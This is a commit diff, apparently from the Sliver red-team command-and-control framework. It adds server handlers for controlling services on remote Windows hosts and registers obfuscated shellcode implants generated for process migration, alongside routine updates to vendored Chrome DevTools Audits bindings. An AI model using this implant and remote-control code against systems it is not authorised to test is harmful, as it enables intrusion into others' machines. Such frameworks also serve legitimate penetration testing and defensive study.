// Services - List and control services
func (rpc *Server) Services(ctx context.Context, req *sliverpb.ServicesReq) (*sliverpb.Services, error) {
resp := &sliverpb.Services{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
func (rpc *Server) ServiceDetail(ctx context.Context, req *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error) {
resp := &sliverpb.ServiceDetail{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// StartService creates and starts a Windows service on a remote host
func (rpc *Server) StartService(ctx context.Context, req *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
resp := &sliverpb.ServiceInfo{Response: &commonpb.Response{}}
@@ -17,6 +36,15 @@ func (rpc *Server) StartService(ctx context.Context, req *sliverpb.StartServiceR
return resp, nil
}
func (rpc *Server) StartServiceByName(ctx context.Context, req *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error) {
resp := &sliverpb.ServiceInfo{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// StopService stops a remote service
func (rpc *Server) StopService(ctx context.Context, req *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error) {
resp := &sliverpb.ServiceInfo{Response: &commonpb.Response{}}
+23
View File
@@ -26,6 +26,7 @@ import (
"os"
"path/filepath"
"strings"
"time"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -98,6 +99,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
name = req.Name
}
config.Format = clientpb.OutputFormat_SHELLCODE
// Tweak some of the config parameters
config.IsShellcode = true
config.IsSharedLib = false
config.TemplateName = "sliver"
config.ObfuscateSymbols = true
build, err := generate.GenerateConfig(name, config)
if err != nil {
@@ -115,6 +120,24 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
return nil, err
}
shellcode, _ = os.ReadFile(shellcodePath)
// Save the implant config in the database so that the server recognizes it when it tries to connect
config.ID = ""
savedConfig, err := db.SaveImplantConfig(config)
if err != nil {
return nil, err
}
build.ImplantConfigID = savedConfig.ID
/* Save the build in the database so that the server recognizes it when it tries to connect
This build will have the same name as the implant it is being spawned from, so
we need to create a unique name for the database
*/
build.Name = fmt.Sprintf("%s_%d", build.Name, time.Now().Unix())
_, err = db.SaveImplantBuild(build)
if err != nil {
return nil, err
}
}
if len(shellcode) < 1 {
+34
View File
@@ -147,10 +147,44 @@ func (p *CheckContrastParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandCheckContrast, p, nil)
}
// CheckFormsIssuesParams runs the form issues check for the target page.
// Found issues are reported using Audits.issueAdded event.
type CheckFormsIssuesParams struct{}
// CheckFormsIssues runs the form issues check for the target page. Found
// issues are reported using Audits.issueAdded event.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-checkFormsIssues
func CheckFormsIssues() *CheckFormsIssuesParams {
return &CheckFormsIssuesParams{}
}
// CheckFormsIssuesReturns return values.
type CheckFormsIssuesReturns struct {
FormIssues []*GenericIssueDetails `json:"formIssues,omitempty"`
}
// Do executes Audits.checkFormsIssues against the provided context.
//
// returns:
//
// formIssues
func (p *CheckFormsIssuesParams) Do(ctx context.Context) (formIssues []*GenericIssueDetails, err error) {
// execute
var res CheckFormsIssuesReturns
err = cdp.Execute(ctx, CommandCheckFormsIssues, nil, &res)
if err != nil {
return nil, err
}
return res.FormIssues, nil
}
// Command names.
const (
CommandGetEncodedResponse = "Audits.getEncodedResponse"
CommandDisable = "Audits.disable"
CommandEnable = "Audits.enable"
CommandCheckContrast = "Audits.checkContrast"
CommandCheckFormsIssues = "Audits.checkFormsIssues"
)
+672 -181
View File
File diff suppressed because it is too large. Load diff
+356 -149
View File
@@ -59,6 +59,7 @@ const (
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet CookieExclusionReason = "ExcludeThirdPartyCookieBlockedInFirstPartySet"
CookieExclusionReasonExcludeThirdPartyPhaseout CookieExclusionReason = "ExcludeThirdPartyPhaseout"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -91,6 +92,8 @@ func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CookieExclusionReasonExcludeDomainNonASCII
case CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet:
*t = CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet
case CookieExclusionReasonExcludeThirdPartyPhaseout:
*t = CookieExclusionReasonExcludeThirdPartyPhaseout
default:
in.AddError(fmt.Errorf("unknown CookieExclusionReason value: %v", v))
@@ -124,6 +127,7 @@ const (
CookieWarningReasonWarnSameSiteLaxCrossDowngradeLax CookieWarningReason = "WarnSameSiteLaxCrossDowngradeLax"
CookieWarningReasonWarnAttributeValueExceedsMaxSize CookieWarningReason = "WarnAttributeValueExceedsMaxSize"
CookieWarningReasonWarnDomainNonASCII CookieWarningReason = "WarnDomainNonASCII"
CookieWarningReasonWarnThirdPartyPhaseout CookieWarningReason = "WarnThirdPartyPhaseout"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -160,6 +164,8 @@ func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CookieWarningReasonWarnAttributeValueExceedsMaxSize
case CookieWarningReasonWarnDomainNonASCII:
*t = CookieWarningReasonWarnDomainNonASCII
case CookieWarningReasonWarnThirdPartyPhaseout:
*t = CookieWarningReasonWarnThirdPartyPhaseout
default:
in.AddError(fmt.Errorf("unknown CookieWarningReason value: %v", v))
@@ -717,65 +723,6 @@ type SharedArrayBufferIssueDetails struct {
Type SharedArrayBufferIssueType `json:"type"`
}
// TwaQualityEnforcementViolationType [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-TwaQualityEnforcementViolationType
type TwaQualityEnforcementViolationType string
// String returns the TwaQualityEnforcementViolationType as string value.
func (t TwaQualityEnforcementViolationType) String() string {
return string(t)
}
// TwaQualityEnforcementViolationType values.
const (
TwaQualityEnforcementViolationTypeKHTTPError TwaQualityEnforcementViolationType = "kHttpError"
TwaQualityEnforcementViolationTypeKUnavailableOffline TwaQualityEnforcementViolationType = "kUnavailableOffline"
TwaQualityEnforcementViolationTypeKDigitalAssetLinks TwaQualityEnforcementViolationType = "kDigitalAssetLinks"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t TwaQualityEnforcementViolationType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t TwaQualityEnforcementViolationType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
v := in.String()
switch TwaQualityEnforcementViolationType(v) {
case TwaQualityEnforcementViolationTypeKHTTPError:
*t = TwaQualityEnforcementViolationTypeKHTTPError
case TwaQualityEnforcementViolationTypeKUnavailableOffline:
*t = TwaQualityEnforcementViolationTypeKUnavailableOffline
case TwaQualityEnforcementViolationTypeKDigitalAssetLinks:
*t = TwaQualityEnforcementViolationTypeKDigitalAssetLinks
default:
in.AddError(fmt.Errorf("unknown TwaQualityEnforcementViolationType value: %v", v))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *TwaQualityEnforcementViolationType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// TrustedWebActivityIssueDetails [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-TrustedWebActivityIssueDetails
type TrustedWebActivityIssueDetails struct {
URL string `json:"url"` // The url that triggers the violation.
ViolationType TwaQualityEnforcementViolationType `json:"violationType"`
HTTPStatusCode int64 `json:"httpStatusCode,omitempty"`
PackageName string `json:"packageName,omitempty"` // The package name of the Trusted Web Activity client app. This field is only used when violation type is kDigitalAssetLinks.
Signature string `json:"signature,omitempty"` // The signature of the Trusted Web Activity client app. This field is only used when violation type is kDigitalAssetLinks.
}
// LowTextContrastIssueDetails [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-LowTextContrastIssueDetails
@@ -815,17 +762,21 @@ func (t AttributionReportingIssueType) String() string {
// AttributionReportingIssueType values.
const (
AttributionReportingIssueTypePermissionPolicyDisabled AttributionReportingIssueType = "PermissionPolicyDisabled"
AttributionReportingIssueTypePermissionPolicyNotDelegated AttributionReportingIssueType = "PermissionPolicyNotDelegated"
AttributionReportingIssueTypeUntrustworthyReportingOrigin AttributionReportingIssueType = "UntrustworthyReportingOrigin"
AttributionReportingIssueTypeInsecureContext AttributionReportingIssueType = "InsecureContext"
AttributionReportingIssueTypeInvalidHeader AttributionReportingIssueType = "InvalidHeader"
AttributionReportingIssueTypeInvalidRegisterTriggerHeader AttributionReportingIssueType = "InvalidRegisterTriggerHeader"
AttributionReportingIssueTypeInvalidEligibleHeader AttributionReportingIssueType = "InvalidEligibleHeader"
AttributionReportingIssueTypeTooManyConcurrentRequests AttributionReportingIssueType = "TooManyConcurrentRequests"
AttributionReportingIssueTypeSourceAndTriggerHeaders AttributionReportingIssueType = "SourceAndTriggerHeaders"
AttributionReportingIssueTypeSourceIgnored AttributionReportingIssueType = "SourceIgnored"
AttributionReportingIssueTypeTriggerIgnored AttributionReportingIssueType = "TriggerIgnored"
AttributionReportingIssueTypePermissionPolicyDisabled AttributionReportingIssueType = "PermissionPolicyDisabled"
AttributionReportingIssueTypeUntrustworthyReportingOrigin AttributionReportingIssueType = "UntrustworthyReportingOrigin"
AttributionReportingIssueTypeInsecureContext AttributionReportingIssueType = "InsecureContext"
AttributionReportingIssueTypeInvalidHeader AttributionReportingIssueType = "InvalidHeader"
AttributionReportingIssueTypeInvalidRegisterTriggerHeader AttributionReportingIssueType = "InvalidRegisterTriggerHeader"
AttributionReportingIssueTypeSourceAndTriggerHeaders AttributionReportingIssueType = "SourceAndTriggerHeaders"
AttributionReportingIssueTypeSourceIgnored AttributionReportingIssueType = "SourceIgnored"
AttributionReportingIssueTypeTriggerIgnored AttributionReportingIssueType = "TriggerIgnored"
AttributionReportingIssueTypeOsSourceIgnored AttributionReportingIssueType = "OsSourceIgnored"
AttributionReportingIssueTypeOsTriggerIgnored AttributionReportingIssueType = "OsTriggerIgnored"
AttributionReportingIssueTypeInvalidRegisterOsSourceHeader AttributionReportingIssueType = "InvalidRegisterOsSourceHeader"
AttributionReportingIssueTypeInvalidRegisterOsTriggerHeader AttributionReportingIssueType = "InvalidRegisterOsTriggerHeader"
AttributionReportingIssueTypeWebAndOsHeaders AttributionReportingIssueType = "WebAndOsHeaders"
AttributionReportingIssueTypeNoWebOrOsSupport AttributionReportingIssueType = "NoWebOrOsSupport"
AttributionReportingIssueTypeNavigationRegistrationWithoutTransientUserActivation AttributionReportingIssueType = "NavigationRegistrationWithoutTransientUserActivation"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -844,8 +795,6 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch AttributionReportingIssueType(v) {
case AttributionReportingIssueTypePermissionPolicyDisabled:
*t = AttributionReportingIssueTypePermissionPolicyDisabled
case AttributionReportingIssueTypePermissionPolicyNotDelegated:
*t = AttributionReportingIssueTypePermissionPolicyNotDelegated
case AttributionReportingIssueTypeUntrustworthyReportingOrigin:
*t = AttributionReportingIssueTypeUntrustworthyReportingOrigin
case AttributionReportingIssueTypeInsecureContext:
@@ -854,16 +803,26 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = AttributionReportingIssueTypeInvalidHeader
case AttributionReportingIssueTypeInvalidRegisterTriggerHeader:
*t = AttributionReportingIssueTypeInvalidRegisterTriggerHeader
case AttributionReportingIssueTypeInvalidEligibleHeader:
*t = AttributionReportingIssueTypeInvalidEligibleHeader
case AttributionReportingIssueTypeTooManyConcurrentRequests:
*t = AttributionReportingIssueTypeTooManyConcurrentRequests
case AttributionReportingIssueTypeSourceAndTriggerHeaders:
*t = AttributionReportingIssueTypeSourceAndTriggerHeaders
case AttributionReportingIssueTypeSourceIgnored:
*t = AttributionReportingIssueTypeSourceIgnored
case AttributionReportingIssueTypeTriggerIgnored:
*t = AttributionReportingIssueTypeTriggerIgnored
case AttributionReportingIssueTypeOsSourceIgnored:
*t = AttributionReportingIssueTypeOsSourceIgnored
case AttributionReportingIssueTypeOsTriggerIgnored:
*t = AttributionReportingIssueTypeOsTriggerIgnored
case AttributionReportingIssueTypeInvalidRegisterOsSourceHeader:
*t = AttributionReportingIssueTypeInvalidRegisterOsSourceHeader
case AttributionReportingIssueTypeInvalidRegisterOsTriggerHeader:
*t = AttributionReportingIssueTypeInvalidRegisterOsTriggerHeader
case AttributionReportingIssueTypeWebAndOsHeaders:
*t = AttributionReportingIssueTypeWebAndOsHeaders
case AttributionReportingIssueTypeNoWebOrOsSupport:
*t = AttributionReportingIssueTypeNoWebOrOsSupport
case AttributionReportingIssueTypeNavigationRegistrationWithoutTransientUserActivation:
*t = AttributionReportingIssueTypeNavigationRegistrationWithoutTransientUserActivation
default:
in.AddError(fmt.Errorf("unknown AttributionReportingIssueType value: %v", v))
@@ -899,14 +858,6 @@ type QuirksModeIssueDetails struct {
LoaderID cdp.LoaderID `json:"loaderId"`
}
// NavigatorUserAgentIssueDetails [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-NavigatorUserAgentIssueDetails
type NavigatorUserAgentIssueDetails struct {
URL string `json:"url"`
Location *SourceCodeLocation `json:"location,omitempty"`
}
// GenericIssueErrorType [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueErrorType
@@ -929,6 +880,8 @@ const (
GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError GenericIssueErrorType = "FormInputAssignedAutocompleteValueToIdOrNameAttributeError"
GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput GenericIssueErrorType = "FormLabelHasNeitherForNorNestedInput"
GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError GenericIssueErrorType = "FormLabelForMatchesNonExistingIdError"
GenericIssueErrorTypeFormInputHasWrongButWellIntendedAutocompleteValueError GenericIssueErrorType = "FormInputHasWrongButWellIntendedAutocompleteValueError"
GenericIssueErrorTypeResponseWasBlockedByORB GenericIssueErrorType = "ResponseWasBlockedByORB"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -965,6 +918,10 @@ func (t *GenericIssueErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput
case GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError:
*t = GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError
case GenericIssueErrorTypeFormInputHasWrongButWellIntendedAutocompleteValueError:
*t = GenericIssueErrorTypeFormInputHasWrongButWellIntendedAutocompleteValueError
case GenericIssueErrorTypeResponseWasBlockedByORB:
*t = GenericIssueErrorTypeResponseWasBlockedByORB
default:
in.AddError(fmt.Errorf("unknown GenericIssueErrorType value: %v", v))
@@ -981,9 +938,11 @@ func (t *GenericIssueErrorType) UnmarshalJSON(buf []byte) error {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueDetails
type GenericIssueDetails struct {
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
FrameID cdp.FrameID `json:"frameId,omitempty"`
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
FrameID cdp.FrameID `json:"frameId,omitempty"`
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
ViolatingNodeAttribute string `json:"violatingNodeAttribute,omitempty"`
Request *AffectedRequest `json:"request,omitempty"`
}
// DeprecationIssueDetails this issue tracks information needed to print a
@@ -997,6 +956,18 @@ type DeprecationIssueDetails struct {
Type string `json:"type"` // One of the deprecation names from third_party/blink/renderer/core/frame/deprecation/deprecation.json5
}
// BounceTrackingIssueDetails this issue warns about sites in the redirect
// chain of a finished navigation that may be flagged as trackers and have their
// state cleared if they don't receive a user interaction. Note that in this
// context 'site' means eTLD+1. For example, if the URL
// https://example.test:80/bounce was in the redirect chain, the site reported
// would be example.test.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-BounceTrackingIssueDetails
type BounceTrackingIssueDetails struct {
TrackingSites []string `json:"trackingSites"`
}
// ClientHintIssueReason [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-ClientHintIssueReason
@@ -1065,34 +1036,42 @@ func (t FederatedAuthRequestIssueReason) String() string {
// FederatedAuthRequestIssueReason values.
const (
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
FederatedAuthRequestIssueReasonDisabledInSettings FederatedAuthRequestIssueReason = "DisabledInSettings"
FederatedAuthRequestIssueReasonErrorFetchingSignin FederatedAuthRequestIssueReason = "ErrorFetchingSignin"
FederatedAuthRequestIssueReasonInvalidSigninResponse FederatedAuthRequestIssueReason = "InvalidSigninResponse"
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
FederatedAuthRequestIssueReasonIDTokenInvalidRequest FederatedAuthRequestIssueReason = "IdTokenInvalidRequest"
FederatedAuthRequestIssueReasonErrorIDToken FederatedAuthRequestIssueReason = "ErrorIdToken"
FederatedAuthRequestIssueReasonCanceled FederatedAuthRequestIssueReason = "Canceled"
FederatedAuthRequestIssueReasonRpPageNotVisible FederatedAuthRequestIssueReason = "RpPageNotVisible"
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
FederatedAuthRequestIssueReasonWellKnownInvalidContentType FederatedAuthRequestIssueReason = "WellKnownInvalidContentType"
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
FederatedAuthRequestIssueReasonConfigInvalidContentType FederatedAuthRequestIssueReason = "ConfigInvalidContentType"
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
FederatedAuthRequestIssueReasonClientMetadataInvalidContentType FederatedAuthRequestIssueReason = "ClientMetadataInvalidContentType"
FederatedAuthRequestIssueReasonDisabledInSettings FederatedAuthRequestIssueReason = "DisabledInSettings"
FederatedAuthRequestIssueReasonErrorFetchingSignin FederatedAuthRequestIssueReason = "ErrorFetchingSignin"
FederatedAuthRequestIssueReasonInvalidSigninResponse FederatedAuthRequestIssueReason = "InvalidSigninResponse"
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
FederatedAuthRequestIssueReasonAccountsInvalidContentType FederatedAuthRequestIssueReason = "AccountsInvalidContentType"
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
FederatedAuthRequestIssueReasonIDTokenInvalidRequest FederatedAuthRequestIssueReason = "IdTokenInvalidRequest"
FederatedAuthRequestIssueReasonIDTokenInvalidContentType FederatedAuthRequestIssueReason = "IdTokenInvalidContentType"
FederatedAuthRequestIssueReasonErrorIDToken FederatedAuthRequestIssueReason = "ErrorIdToken"
FederatedAuthRequestIssueReasonCanceled FederatedAuthRequestIssueReason = "Canceled"
FederatedAuthRequestIssueReasonRpPageNotVisible FederatedAuthRequestIssueReason = "RpPageNotVisible"
FederatedAuthRequestIssueReasonSilentMediationFailure FederatedAuthRequestIssueReason = "SilentMediationFailure"
FederatedAuthRequestIssueReasonThirdPartyCookiesBlocked FederatedAuthRequestIssueReason = "ThirdPartyCookiesBlocked"
FederatedAuthRequestIssueReasonNotSignedInWithIdp FederatedAuthRequestIssueReason = "NotSignedInWithIdp"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -1121,6 +1100,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = FederatedAuthRequestIssueReasonWellKnownInvalidResponse
case FederatedAuthRequestIssueReasonWellKnownListEmpty:
*t = FederatedAuthRequestIssueReasonWellKnownListEmpty
case FederatedAuthRequestIssueReasonWellKnownInvalidContentType:
*t = FederatedAuthRequestIssueReasonWellKnownInvalidContentType
case FederatedAuthRequestIssueReasonConfigNotInWellKnown:
*t = FederatedAuthRequestIssueReasonConfigNotInWellKnown
case FederatedAuthRequestIssueReasonWellKnownTooBig:
@@ -1131,12 +1112,16 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = FederatedAuthRequestIssueReasonConfigNoResponse
case FederatedAuthRequestIssueReasonConfigInvalidResponse:
*t = FederatedAuthRequestIssueReasonConfigInvalidResponse
case FederatedAuthRequestIssueReasonConfigInvalidContentType:
*t = FederatedAuthRequestIssueReasonConfigInvalidContentType
case FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound:
*t = FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound
case FederatedAuthRequestIssueReasonClientMetadataNoResponse:
*t = FederatedAuthRequestIssueReasonClientMetadataNoResponse
case FederatedAuthRequestIssueReasonClientMetadataInvalidResponse:
*t = FederatedAuthRequestIssueReasonClientMetadataInvalidResponse
case FederatedAuthRequestIssueReasonClientMetadataInvalidContentType:
*t = FederatedAuthRequestIssueReasonClientMetadataInvalidContentType
case FederatedAuthRequestIssueReasonDisabledInSettings:
*t = FederatedAuthRequestIssueReasonDisabledInSettings
case FederatedAuthRequestIssueReasonErrorFetchingSignin:
@@ -1151,6 +1136,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = FederatedAuthRequestIssueReasonAccountsInvalidResponse
case FederatedAuthRequestIssueReasonAccountsListEmpty:
*t = FederatedAuthRequestIssueReasonAccountsListEmpty
case FederatedAuthRequestIssueReasonAccountsInvalidContentType:
*t = FederatedAuthRequestIssueReasonAccountsInvalidContentType
case FederatedAuthRequestIssueReasonIDTokenHTTPNotFound:
*t = FederatedAuthRequestIssueReasonIDTokenHTTPNotFound
case FederatedAuthRequestIssueReasonIDTokenNoResponse:
@@ -1159,12 +1146,20 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = FederatedAuthRequestIssueReasonIDTokenInvalidResponse
case FederatedAuthRequestIssueReasonIDTokenInvalidRequest:
*t = FederatedAuthRequestIssueReasonIDTokenInvalidRequest
case FederatedAuthRequestIssueReasonIDTokenInvalidContentType:
*t = FederatedAuthRequestIssueReasonIDTokenInvalidContentType
case FederatedAuthRequestIssueReasonErrorIDToken:
*t = FederatedAuthRequestIssueReasonErrorIDToken
case FederatedAuthRequestIssueReasonCanceled:
*t = FederatedAuthRequestIssueReasonCanceled
case FederatedAuthRequestIssueReasonRpPageNotVisible:
*t = FederatedAuthRequestIssueReasonRpPageNotVisible
case FederatedAuthRequestIssueReasonSilentMediationFailure:
*t = FederatedAuthRequestIssueReasonSilentMediationFailure
case FederatedAuthRequestIssueReasonThirdPartyCookiesBlocked:
*t = FederatedAuthRequestIssueReasonThirdPartyCookiesBlocked
case FederatedAuthRequestIssueReasonNotSignedInWithIdp:
*t = FederatedAuthRequestIssueReasonNotSignedInWithIdp
default:
in.AddError(fmt.Errorf("unknown FederatedAuthRequestIssueReason value: %v", v))
@@ -1176,6 +1171,82 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// FederatedAuthUserInfoRequestIssueDetails [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-FederatedAuthUserInfoRequestIssueDetails
type FederatedAuthUserInfoRequestIssueDetails struct {
FederatedAuthUserInfoRequestIssueReason FederatedAuthUserInfoRequestIssueReason `json:"federatedAuthUserInfoRequestIssueReason"`
}
// FederatedAuthUserInfoRequestIssueReason represents the failure reason when
// a getUserInfo() call fails. Should be updated alongside
// FederatedAuthUserInfoRequestResult in
// third_party/blink/public/mojom/devtools/inspector_issue.mojom.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-FederatedAuthUserInfoRequestIssueReason
type FederatedAuthUserInfoRequestIssueReason string
// String returns the FederatedAuthUserInfoRequestIssueReason as string value.
func (t FederatedAuthUserInfoRequestIssueReason) String() string {
return string(t)
}
// FederatedAuthUserInfoRequestIssueReason values.
const (
FederatedAuthUserInfoRequestIssueReasonNotSameOrigin FederatedAuthUserInfoRequestIssueReason = "NotSameOrigin"
FederatedAuthUserInfoRequestIssueReasonNotIframe FederatedAuthUserInfoRequestIssueReason = "NotIframe"
FederatedAuthUserInfoRequestIssueReasonNotPotentiallyTrustworthy FederatedAuthUserInfoRequestIssueReason = "NotPotentiallyTrustworthy"
FederatedAuthUserInfoRequestIssueReasonNoAPIPermission FederatedAuthUserInfoRequestIssueReason = "NoApiPermission"
FederatedAuthUserInfoRequestIssueReasonNotSignedInWithIdp FederatedAuthUserInfoRequestIssueReason = "NotSignedInWithIdp"
FederatedAuthUserInfoRequestIssueReasonNoAccountSharingPermission FederatedAuthUserInfoRequestIssueReason = "NoAccountSharingPermission"
